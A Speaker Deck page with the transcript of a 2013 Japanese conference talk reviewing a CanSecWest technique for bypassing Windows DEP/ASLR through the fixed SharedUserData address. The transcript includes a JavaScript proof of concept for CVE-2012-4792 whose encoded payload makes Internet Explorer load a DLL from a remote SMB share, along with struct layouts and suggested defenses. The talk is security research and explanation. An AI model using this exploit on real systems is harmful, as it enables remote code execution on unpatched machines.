Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。
Search
Satoshi MIMURA
March 29, 2013
Research
0
16
APASEC 2013 - ROP/JIT を使わずに DEP/ASLR を回避する手法を見てみた。
CanSecWest 2013 で公開された資料を詳しく見てみた。
Satoshi MIMURA
March 29, 2013
Tweet
Share
More Decks by Satoshi MIMURA
See All by Satoshi MIMURA
Inside wsl
mimura1133
0
21
Edomae 2015 - マルウェアを解析してみよう
mimura1133
0
51
Windows でも TeX 編集がしたい!
mimura1133
0
18
3本指ジェスチャの仮想デスクトップ機能を Windows に実装した話
mimura1133
0
24
Windows のカーネルモードドライバで填まった話
mimura1133
0
24
マシン語によるコード実行
mimura1133
0
12
Iron python と c sharp
mimura1133
0
18
Unix と windows 世界の融合
mimura1133
0
19
Windows Phone 7 と XNA の世界
mimura1133
0
16
Other Decks in Research
See All in Research
競合や要望に流されない─B2B SaaSでミニマム要件を決めるリアルな取り組み / Don't be swayed by competitors or requests - A real effort to determine minimum requirements for B2B SaaS
kaminashi
0
460
[IBIS 2025] 深層基盤モデルのための強化学習驚きから理論にもとづく納得へ
akifumi_wachi
19
9.2k
空間音響処理における物理法則に基づく機械学習
skoyamalab
0
160
地域丸ごとデイサービス「Go トレ」の紹介
smartfukushilab1
0
760
[Devfest Incheon 2025] 모두를 위한 친절한 언어모델(LLM) 학습 가이드
beomi
2
1.4k
Agentic AI Era におけるサプライチェーン最適化
mickey_kubo
0
110
Tiaccoon: Unified Access Control with Multiple Transports in Container Networks
hiroyaonoe
0
340
Stealing LUKS Keys via TPM and UUID Spoofing in 10 Minutes - BSides 2025
anykeyshik
0
170
Can AI Generated Ambrotype Chain the Aura of Alternative Process? In SIGGRAPH Asia 2024 Art Papers
toremolo72
0
120
大規模言語モデルにおけるData-Centric AIと合成データの活用 / Data-Centric AI and Synthetic Data in Large Language Models
tsurubee
1
470
長期・短期メモリを活用したエージェントの個別最適化
isidaitc
0
390
ウェブ・ソーシャルメディア論文読み会 第36回: The Stepwise Deception: Simulating the Evolution from True News to Fake News with LLM Agents (EMNLP, 2025)
hkefka385
0
100
Featured
See All Featured
Leveraging LLMs for student feedback in introductory data science courses - posit::conf(2025)
minecr
0
100
Leadership Guide Workshop - DevTernity 2021
reverentgeek
1
180
JavaScript: Past, Present, and Future - NDC Porto 2020
reverentgeek
52
5.8k
Done Done
chrislema
186
16k
Prompt Engineering for Job Search
mfonobong
0
140
AI: The stuff that nobody shows you
jnunemaker
PRO
1
160
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
48
9.8k
RailsConf & Balkan Ruby 2019: The Past, Present, and Future of Rails at GitHub
eileencodes
141
34k
svc-hook: hooking system calls on ARM64 by binary rewriting
retrage
1
47
How to optimise 3,500 product descriptions for ecommerce in one day using ChatGPT
katarinadahlin
PRO
0
3.4k
How to Build an AI Search Optimization Roadmap - Criteria and Steps to Take #SEOIRL
aleyda
1
1.8k
Kristin Tynski - Automating Marketing Tasks With AI
techseoconnect
PRO
0
120
Transcript
ROP/JIT を使わずに DEP/ASLR を回避する。 CanSecWest 2013 の 資料の検証。 ROP/JIT を使わずに
DEP/ASLR を回避する。 1
お品書き 自己紹介 どんな資料なの 回避する対象の DEP / ASLR って、なんなの 今回の提案手法の概要とサンプルコード 実際に試してみた。
気になったところ。 ROP/JIT を使わずに DEP/ASLR を回避する。 2
自己紹介 三村 聡志 (@mimura1133) / APASEC 初参加 http://mimumimu.net/ セキュリティ&プログラミングキャンプ
2011 参加。 セキュリティ・キャンプ 2012 チュータ参加。 ROP/JIT を使わずに DEP/ASLR を回避する。 3
どういう資料なのか。 冗談はこの辺で。 ROP/JIT を使わずに DEP/ASLR を回避する。 4
資料概要 CanSecWest Vancouver 2013 で発表された資料。 NSFOCUS Security Labs の Yang
Yu さんが発表。 ROP や JIT を使わずに、 DEP や ASLR を回避して、 任意のコードを実行しよう、 という内容。 ROP/JIT を使わずに DEP/ASLR を回避する。 5
じゃ、回避したい それってなに? ROP/JIT を使わずに DEP/ASLR を回避する。 6
DEP (データ実行防止) メモリ上のデータに「実行不可能」という 印をつけて、動作を制限する。 攻撃者が不正なプログラムを送り込む際に、 本来は実行プログラムのデータが格納されるはずのない 場所にデータを格納して、実行させようとする所に着目。 下手なシェルコードを送り込むと、これで弾かれる。
カーネルでやらかすと ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY が発生。 詳しく書くと : x86_64 版 Windows + x86_64 環境用の実行ファイル 全てに適用される。 (AlwaysOn) BCD にて nx = AlwaysOff と指定すれば外れる。 スレッドスタック (Kernel,User), ページ領域 (User), Paged pool (Kernel), Session Pool (Kernel) が対象。 x86 版 Windows or x86 環境用の実行ファイル 重要なもののみに原則適用。 (OutIn) ただし、サーバ用OS では原則全て (OptOut) なお、PAE (Physical Address Extension) が有効な環境でないと、ハードウェア DEP が有効にならない。 スレッドスタック (User), ページ領域 (User) ROP/JIT を使わずに DEP/ASLR を回避する。 7
ASLR (アドレス空間配置のランダム化) 下記データのメモリアドレスを不定にする。 イメージ(実行データ) スタック領域 ヒープ領域
攻撃者が内部のコードを使って攻撃することがあるが、 アドレスを不定にしてそれをしにくくする。 分からなければ、3時のおやつを 「いつも同じ特定の場所」 に隠して置くと、 いつの間にかバレて、おやつが食べられてしまうことを想像しよう。 詳しく書くと: TSC (CPU のタイムスタンプ値) を元に8ビットの値を生成して、 254 で割り、1を足したものに 64KB を掛ける。 DLL に関してはシステム起動時に1回計算し、その値を元にランダム化する。 イメージは (0x50000000 – 0x78000000) ヒープは (0x00000000 – 0x001F0000) の範囲が原則。 ROP/JIT を使わずに DEP/ASLR を回避する。 8
ROP (Return-Oriented-Programming) イメージとしては、 新聞で脅迫文(失礼) を作るような感じ。 仕掛けとしては、 “ret” 命令で戻る際のアドレスが書き込まれているスタック領域を、 プログラム内でつかえそうな部分のアドレスに書き換える。
あとは、ret -> 指定箇所が実行される -> ret -> 指定箇所2が実行される… の繰り返し。 実行不可能な場所を使っているのでは無く、 実行可能なコードを組み合わせて使う。 先述の DEP に対してはこれで何とかなる。 ただ ASLR が掛かってると、欲しい箇所のアドレスが分からない。 ROP/JIT を使わずに DEP/ASLR を回避する。 9
JIT (Just-In-Time) [Compiler] 身近な例では Microsoft .NET, Mono, Java, JavaScript
(実装による) 実行中に「実行可能コード」を ”生成” する。 実行中に悪用可能なコードを実行可能コードとして配置できる。 過去にあった例:PDF (BlackHat DC 2010) ROP/JIT を使わずに DEP/ASLR を回避する。 10
でも動かすのめんどい。 問題のある JIT コンパイラを搭載している環境があるかどうか。 ROP が出来そうな、 ASLR の掛かっていないやつがあるかどうか。 => ではこれ以外の環境ではどうするの?
今回の発表. ROP/JIT を使わずに DEP/ASLR を回避する。 11
概要とサンプルコード ROP/JIT を使わずに DEP/ASLR を回避する。 12
概要 Windows NT4 以降の Windows では、 0x7ffe0000 に SharedUserData 構造体のデータが
アドレス固定で置かれている。 x86 環境では: 0x7ffe0000 + 0x300 の位置に SystemCall へのポインタが置かれている。 ax (eax ではない) の値を正しく設定し、 SystemCall を呼べれば、システムコールできる! x86_64 環境 (for x86 アプリケーション) では: 0x7ffe0000 + 0x340 の位置から Wow64SharedInformation 構造体のデータが格納されてる。 その中からさらに +0x010 した位置 ( 0x7ffe0350 ) に、 ntdll!LdrHotPatchRoutine へのポインタが置かれている。 このAPIを使って、任意の DLL を読み込ませて、任意のコードを実行できる! ROP/JIT を使わずに DEP/ASLR を回避する。 13
SystemCall を使った手法 (for x86) MS08-078 (ポインタ参照の メモリ破壊の脆弱性) を応用したサンプル。 eax の先を
“7c02fe7f” (0x7ffe027c + 0x84 = KiFastSystemCall) になるようにメモリを埋めておく。 このコードが成功すると、 0x11db のシステムコールが実行される。 ROP/JIT を使わずに DEP/ASLR を回避する。 14
ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 ) ROP/JIT を使わずに DEP/ASLR を回避する。
15 function CVE-2012-4792_EXP() { var e0 = null; var e1 = null; var e2 = null; try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); window.location = "¥u0274¥u7ffe¥u4242¥u4242¥u0014¥u0030¥u0044" + "¥u0012¥u1212¥u0004¥u005c¥u005c¥u0031¥u0039¥u0032¥u002e¥u0031" + "¥u0036¥u0038¥u002e¥u0035¥u0039¥u002e¥u0031¥u0032¥u0038¥u005c" + "¥u0078¥u005c¥u0078¥u002e¥u0064¥u006c¥u006c¥u006e¥u0074¥u0064" + "¥u006c¥u006c¥u002e¥u0064¥u006c¥u006c"; } struct HotPatchBuffer { ULONG NotSoSure01; // => EAX へ ULONG NotSoSure02; USHORT PatcherNameOffset; USHORT PatcherNameLen; USHORT PatcheeNameOffset; USHORT PatcheeNameLen; USHORT UnknownNameOffset; USHORT UnknownNameLen char[] PatcherName; char[] PatcheeName; }; PatcherName : ¥¥192.168.59.128¥x¥x.dll PatcheeName : ntdll.dll
ntdll!ldrHotPatchRoutine を使った手法 ( for x86_64 ) MS13-008 を応用したサンプル。 先ほどのコードが実行されると、 LdrHotPatchRoutine
が実行さ れる。 また、事前に “push edi” とし ている点から、 関数に必要なパラメータはここか ら持ってこれる。 ROP/JIT を使わずに DEP/ASLR を回避する。 16
実際に試してみた。 ROP/JIT を使わずに DEP/ASLR を回避する。 17
テスト環境 Windows 7 Service Pack 1 (x86, x86_64) + Internet
Explorer 8 Windows 8 (x86, x86_64) + Internet Explorer 10 留意点: MSDN よりダウンロードした状態でそのまま使う。 Windows Update 等は禁止する。 ROP/JIT を使わずに DEP/ASLR を回避する。 18
挿入するDLL : BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved) { switch(fdwReason)
{ case DLL_PROCESS_ATTACH: MessageBox (NULL,L"HELLO APA SEC!",NULL,NULL); break; } return TRUE; } ROP/JIT を使わずに DEP/ASLR を回避する。 19
実行させてみた。 ROP/JIT を使わずに DEP/ASLR を回避する。 20 なお、実行後は IE が応答無しになる。 また、x86
版 Windows だとすさまじい数のアラートが出る。
もっと動かしてみた。 ROP/JIT を使わずに DEP/ASLR を回避する。 21
気になったところ。 ROP/JIT を使わずに DEP/ASLR を回避する。 22
この攻撃を防ぐには? LdrHotpatchRoutine のパラメータを見る。 外向けファイアウォールで、 SMB 通信を切る。 ROP/JIT を使わずに DEP/ASLR を回避する。
23 struct HOTPATCH{ DWORD Flags; DWORD Size; union { struct CodeInfo { } struct KernelInfo { } struct UserModeInfo { } struct InjectionInfo { } struct RenameInfo {} struct AtomicSwap { } } } Flag は正しい? size は正しい? リモートのファイル を見に行ってない? そもそも、 呼び出し元は? http://www.openrce.org/articles/full_view/22 ここに LdrHotPatchRoutine に対しての 詳しい資料がある。 APA akasaka -180 APA
SystemCall を指し示したポインタがない。 でも、KiFastSystemCall 自体は存在する。 Windows 8 では? ROP/JIT を使わずに DEP/ASLR
を回避する。 24 Windows 8 Windows XP Windows 8
Windows 8 では? Wow64SharedInformation がない。 ただし、メソッド自体は 残っている。 ROP/JIT を使わずに DEP/ASLR
を回避する。 25 Windows 8 Windows 7
x86 のサンプルについて 0x11db って NtGdiEngCheckAbort だとおもう。 NtUserLockWorkStation なら、 0x12db だとおもう・・w
ref : http://j00ru.vexillium.org/win32k_x64/ ROP/JIT を使わずに DEP/ASLR を回避する。 26
まとめ ROP/JIT を使わずに DEP/ASLR を回避する。 27
まとめ。 0x7ffe0000 にSharedUserData 構造体のデータが アドレス固定で置かれている。 そのうち、 x86 では KiFastSystemCall x86_64
では LdrHotPatchRoutine を呼び出すことが出来る。 特に後者ではスプレー不要のため、より簡単に呼び出せて危険。 Windows 8 では今回の問題に関する情報は削除されていた。 ROP/JIT を使わずに DEP/ASLR を回避する。 28
ROP/JIT を使わずに DEP/ASLR を回避する。 CanSecWest 2013 の 資料の検証。 ROP/JIT を使わずに
DEP/ASLR を回避する。 29